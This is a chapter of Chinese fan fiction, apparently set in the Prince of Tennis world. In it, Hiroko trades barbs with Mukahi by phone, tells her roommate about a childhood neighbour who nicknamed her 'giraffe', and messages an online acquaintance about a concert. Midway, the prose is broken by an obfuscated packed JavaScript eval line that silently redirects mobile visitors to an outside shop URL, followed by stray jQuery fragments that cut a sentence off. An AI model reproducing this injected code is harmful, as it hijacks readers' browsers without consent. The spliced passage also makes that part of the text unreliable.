音量高到像有人在她耳膜边敲了一声锣。熙子手一抖,手机差点脱手砸在自己肿起的脚踝上,她手忙脚乱地接住,心脏被吓得狂跳了几拍。这要是砸下去了,伤上加伤,柳生和忍足叮嘱的“冰敷静养”就白说了。她把手机举到面前,气得手指都在发抖,噼里啪啦地打字:
[暮野熙子:你吼那么大声干什么!!我耳朵要聋了!!]
发出去还没三秒,屏幕上就弹出了来电界面——向日岳人直接打过来了。
熙子接起电话,还没来得及开口,对面的问题就连珠炮似地砸了过来:
“所以你根本不是切原的姐姐?!”
“……”
“你是立海大网球部的前经理?!”
“……”
“你还打着切原姐姐的名号偷跑到我们宿舍?!”
“……我那是迷路了。”熙子终于找到了一点突破的缝隙,不得不解释。
“少来!”向日岳人气势汹汹:“谁知道你这句是不是也是骗我的!”
面对如此不讲理的揣测,熙子气极反笑。她把手机换到另一边耳朵旁。向日岳人明明也是二年级的前辈了,怎么咋咋呼呼的跟切原赤也一个德行?不,他比切原赤也还要不讲道理。切原至少还会“前辈对不起”地进行自我反省,向日倒好,理不直气也壮。
软的不行。熙子心一横,索性和他来硬的。短暂的接触让熙子分辨出向日岳人没有多少和女孩子打交道的经验,她倒想看看,面对不按套路出牌的自己,向日岳人会如何招架,反正隔着手机屏幕,熙子打嘴炮的工夫还没输给过谁。
“没错,我不是迷路,我是故意过去的。”
“哈哈!你果然承认了!说,你到底去干嘛?!”电话那头安静了半秒,向日的语气从咄咄逼人变成了得意的拷问,仿佛一旦抓到她话语里的把柄就要冲过来把她扣押似的。
“我去——”
熙子拖了一个长音,故意停在那里。
“——看你。"
“……什么?”
“向日君在跳舞机上的身姿太迷人了,”熙子的语气很是真挚,这次就算向日真的站在她面前,大概也分不清她到底是真心话还是讽刺,“我念念不忘,所以特地潜伏进去想再看一次。谁知被你们发现了。”
电话那头陷入了一种诡异的沉默,然后向日岳人的声音再次响起,带着明显的混乱和慌张:“……你,你再说一遍?”
“我说我是去看你跳舞的,向日君。”
“你……”他的声音在嗓子里囫囵了一下,然后狼狈地拔高,“不可能!!你是去送蛋糕的!侑士都告诉我了!”
“你也知道不可能啊?笨蛋!”差不多该收网了,熙子收起调笑的语气,毫不留情地给了向日一个暴击。
电话那头传来一声深呼吸,然后向日的嗓音从牙缝里挤出来,似乎也是被气笑了:“……哈,暮野熙子,你是我见过最难搞的女人。”
“谢谢,”获得这样的评价,熙子心情很好,“这个评价我收下了。”
“我不是在夸你,怎么,你摔了一跤,脑袋也摔坏了吗?”向日很快恢复了他的毒舌傲娇本色,针锋相对。
熙子困意开始漫上来,她决定结束这场斗争,语气放缓了一些:“向日君,你打电话来,就是为了骂我一顿吗?”
对面没有说话,熙子没有分给他多余的耐心,继续说:“我挂了。”
“等一下!”向日岳人急急地回答她,语气忽然正经了那么一点点,“……当然不是。”
“你脚怎么样了?”
“这种事问忍足君不是来得更快吗?”
“……不说算了,”向日的语气带刺,“反正也不是什么重伤,你都能在电话里骂人了,能严重到哪里去?”他继续说,语速又加快了半分,“不过是一点小事,就搞得整个立海大和冰帝都围着你转——有够兴师动众的。”
最后,向日补充了一句:“挂了。”
熙子握着手机,还没想好先反驳哪一句,听筒里就传来了嘟嘟的忙音。熙子忽然觉得好笑,向日岳人的每次离开都毫无预兆,不管是在游戏厅,还是合宿的楼下,还是电话里,他把自己当什么?简直随心所欲。
今天经历的事已经够多了,熙子把自己扔进后座,迷迷糊糊的睡了过去,直到车悄无声息地停在了立海大校园的公寓楼下。
******
第二天是礼拜天,舍友们挨个向熙子表达了关心——“好好休息”“不要乱动哦”,就各自出门去了,熙子独自闷在宿舍里闲得发慌,把小林叫来说话。
“难怪你昨天一整天都不在,我还想约你出去玩呢,可惜了,”小林绿坐在熙子的书桌前,有些惋惜地看着她的伤腿,不一会儿注意力又落到了熙子手上,“你在读什么?”
熙子把封面展示给她,小林瞬间没了兴趣,撇撇嘴:“《飘》?你还没看腻啊,我记得大一的读书会你就分享过了。”
熙子懒洋洋地把书合上:“经典永不过时嘛,反正现在什么也做不了,消磨一下时间,总比玩手机有营养。”
事实上,熙子的状态比她展示出来的要更糟一点:昨天受了伤,经历了一连串乱七八糟的事,最后还和向日岳人酣畅淋漓地battle了一路,加之渴吻症最近在发作,她昨晚甚至都没有睡好,不用照镜子也知道,自己现在整个人都散发着一股淡淡的倦意。好在小林以为这只是病号特有的疲怠,她往前凑了凑身子,一脸八卦地追问:“玩手机怎么没营养了——那个健身博主呢?”
“啊,说到这,他好像回关我了,”熙子猛然想起昨天在车上看到的那个“New Follower”的提示,她还没来得及仔细看,就被向日的语音轰炸了。她说着点开了INS,红豆年糕汤的头像赫然躺在了她的好友列,熙子喃喃道,“还真是。”
“真的?给我看给我看!”小林兴致勃勃地抢过她的手机,嘴角几乎要咧到耳后,“小熙,网络一线牵,珍惜这段缘,他对你有意思,赶紧行动啊!”
“行动什么?我可没有要谈恋爱的打算。”熙子戒备地竖起胳膊,在胸前比了一个大大的叉。
“谁说要和他谈恋爱了?交个朋友嘛,”小林白了她一眼,熟练地在熙子的手机上操作了几下,调出私信页面怼到她脸上,“来,跟他打个招呼!他在线的!”
“哈?太突然了,对方会觉得奇怪吧?”熙子哭笑不得,“会被当成花痴吧?”
“别那么害羞嘛——你不发我帮你发。”小林仗着熙子受伤行动不便开始为非作歹,一边打字,一边故意拖长音念了出来:“周末好——今天打算——做点什么——?”
“喂,阿绿!”熙子笑着伸长胳膊去夺手机,但受伤的脚让她没法发力,身子才探出去一半就扯到了脚踝。小林灵巧地跑到房间另一头,特意过了一会儿才坏笑着把手机丢给她:“过两分钟了,你已经撤回不了了。”
“小——林——绿——”
新消息的“叮咚”声打断了熙子的威胁,两颗脑袋凑在一起看向手机屏幕。
[红豆年糕汤:周末好,准备去参加音乐节。]
紧接着又是一声叮咚。
[红豆年糕汤:*图片*]
对方拍了一张门票发过来,照片的边角能看到新干线车窗外的景色,模糊的田野和电线杆正在快速后退。门票上有一组熙子熟悉的乐队,第三个出场,她心动了一下。
小林激动地摇晃着熙子的肩膀:“小熙!你看,我就说他对你有意思!”
“……这也能叫有意思?”熙子收起心动,乜斜了小林一眼,“人家只是礼貌回答而已。”
“你在质疑我们心理协会的判断?好了好了,礼尚往来,你也赶紧回复他一下。”
熙子抓抓头发,实在不知怎么回应陌生人的这种报备式信息,想了半天,才堪堪回复一句。
[Kaelis:看着很有意思,在哪里?]
对方回得很快。
[红豆年糕汤:东京·代官山。你也在东京的话,可以来听。]
[Kaelis:可惜了,目前行动不便。下次有机会吧。]
[红豆年糕汤:难道新体验是指受伤?]
[红豆年糕汤:严重吗?]
[Kaelis:只是崴了脚,很快就会好起来。]
[Kaelis:演出是看不成了。不过可以拜托你录一小段第三首歌的现场给我吗?]
[红豆年糕汤:OK]
对话就这样停了。
小林从旁边凑过来,把简短的聊天记录上下划拉了几遍,语气中难掩失望:“……就这?”
“跟你说了突然私联对方会很奇怪嘛。”熙子手一摊。
“邀请呢?”
“什么邀请?”
“约会啊!”小林恨铁不成钢地把手机还给她,“正常不应该是,‘等你好了我们再一起去听’‘好啊就这样说定了’这样发展吗?你们聊得一点火花都没有!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909490|213078||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“这世界上哪有那么多偶像剧情节啊,”熙子暧昧地笑了笑,“阿绿,你总是八卦我,这次也让我八卦一下你吧——你喜欢什么类型?”
“青梅竹马,两小无猜,”小林虽沉浸在遗憾中,回答得倒利索,“可惜我没有。”
“青梅竹马?”没想到看似奔放的小林内心居然如此纯情,熙子不禁哈哈大笑,“阿绿,好俗哦。《求婚大作战》看多了吧!”
“哪里俗了!”小林被笑得红了脸,“从小一起长大,知根知底,不用从自我介绍开始——这不是很浪漫吗?”
两个人你来我往地拌了几句嘴,小林忽然话锋一转,重新把焦点对准了熙子:“那你呢?你有青梅竹马吗?”
“……没有吧。”话题回到自己身上,熙子一顿,不确定地说。
小林敏锐地捕捉到了那个迟疑的尾音,眯起眼睛:“犹豫了,说明有——从实招来!”
窗外的光线已经斜了一些,从正午的白亮变成了午后发黄的暖调。熙子稍微拉开了一点窗帘,屋内瞬间洒满了温馨的阳光。
“青梅竹马确实没有,”她说,“讨厌鬼倒是有一个。”
小林眼睛亮了:“哦?”她盘起双腿,摆出洗耳恭听的姿势。
“说是讨厌鬼,其实也没那么讨厌啦——那个年龄的小男孩都是这个样子的。”熙子解释,“大概五六岁?我那时候住在大阪的祖母家,他就在隔壁。”
“什么样的?”小林迫不及待地追问,“长得好看吗?”
熙子认真地回忆了一下:“小时候还是挺帅的。”
“哟——”小林故意拖了个长音,“那他为什么讨厌?”
“因为他总是抓甲虫吓我,还给我起绰号,”想到这里,熙子佯装忿忿地抱起胳膊,耿耿于怀地说:“他叫我——‘长颈鹿’。”
小林愣了一下,显然没理清这其中的逻辑关系:“长颈鹿?为什么?”
“起因是我的祖母叫我熙琳(Hirorin)……”
“熙琳?”小林打断她,眼神充满了艳羡,“你的祖母好宠你。”
“因为我是随母姓啊,”熙子的声音柔软了几分。“暮野”这个姓确实是她的骄傲,因为很罕见,所以熙子随了母亲和祖母的姓氏,登记户籍时,传统的父亲和母亲因为这个原因大吵一架,自此嫌隙滋生,分居多年。“跑题了——总之听到祖母这么叫我后,那个小男孩也跟着这样叫。你知道我的名字训读是Hiro吧?他不知从哪里学来了平读发音Ki,就变成了Kirin(キリン,长颈鹿)……”
小林爆发出一阵惊天动地的大笑,整个人趴在扶手上,肩膀抖得停不下来。
“然后他每次再见到我,都要说‘长颈鹿,你要不要吃树叶啊’——讨厌得很!”
小林笑得眼泪都快出来了,一边擦眼角一边断断续续地说:“这是哪门子的青梅竹马啊,你确定他不是在欺负你吗?”
“当然是在欺负我啊,所以才说他是讨厌鬼嘛。”
小林好容易止住了笑,继续问:“所以他现在在哪里?”
熙子诚实地摇了摇头:“不知道。上小学之后我们和祖母就一起搬回了横滨,再也没有回去过。”
“难道你们再也没见过?”
“没有,即使见到,大概也认不出来了,”熙子说得很轻快,“都十几年了,小孩子长大会变很多的吧。说起来,我连他全名都不知道呢。”
窗外的天色开始变暗了。听故事听得意犹未尽的小林站起来拍了拍熙子的肩膀:“好好养伤,我走了——熙琳。”
******
门关上之后,房间里重新安静下来。熙子一个人靠在床头,迷迷糊糊地睡着了,再醒来的时候,手机已经有了几条未读信息。
[红豆年糕汤:*视频*]
[红豆年糕汤:*视频*]
[红豆年糕汤:你喜欢这种类型吗?]
熙子点开视频。几束蓝紫色的光柱从上方斜射下落在了台上乐队几人的轮廓上。鼓手正在敲前奏,吉他声从模糊的现场音浪中劈出来,第一个音节出来的时候,她的心跳就跟着低音共振了一下,看完一遍,熙子忍不住把进度条又往回拉到了开头。
[Kaelis:现场版果然更好听]
[Kaelis:谢谢你录给我]
她等了一会儿,屏幕上弹出了新的回复:
[红豆年糕汤:不用客气]
[红豆年糕汤:下次一起]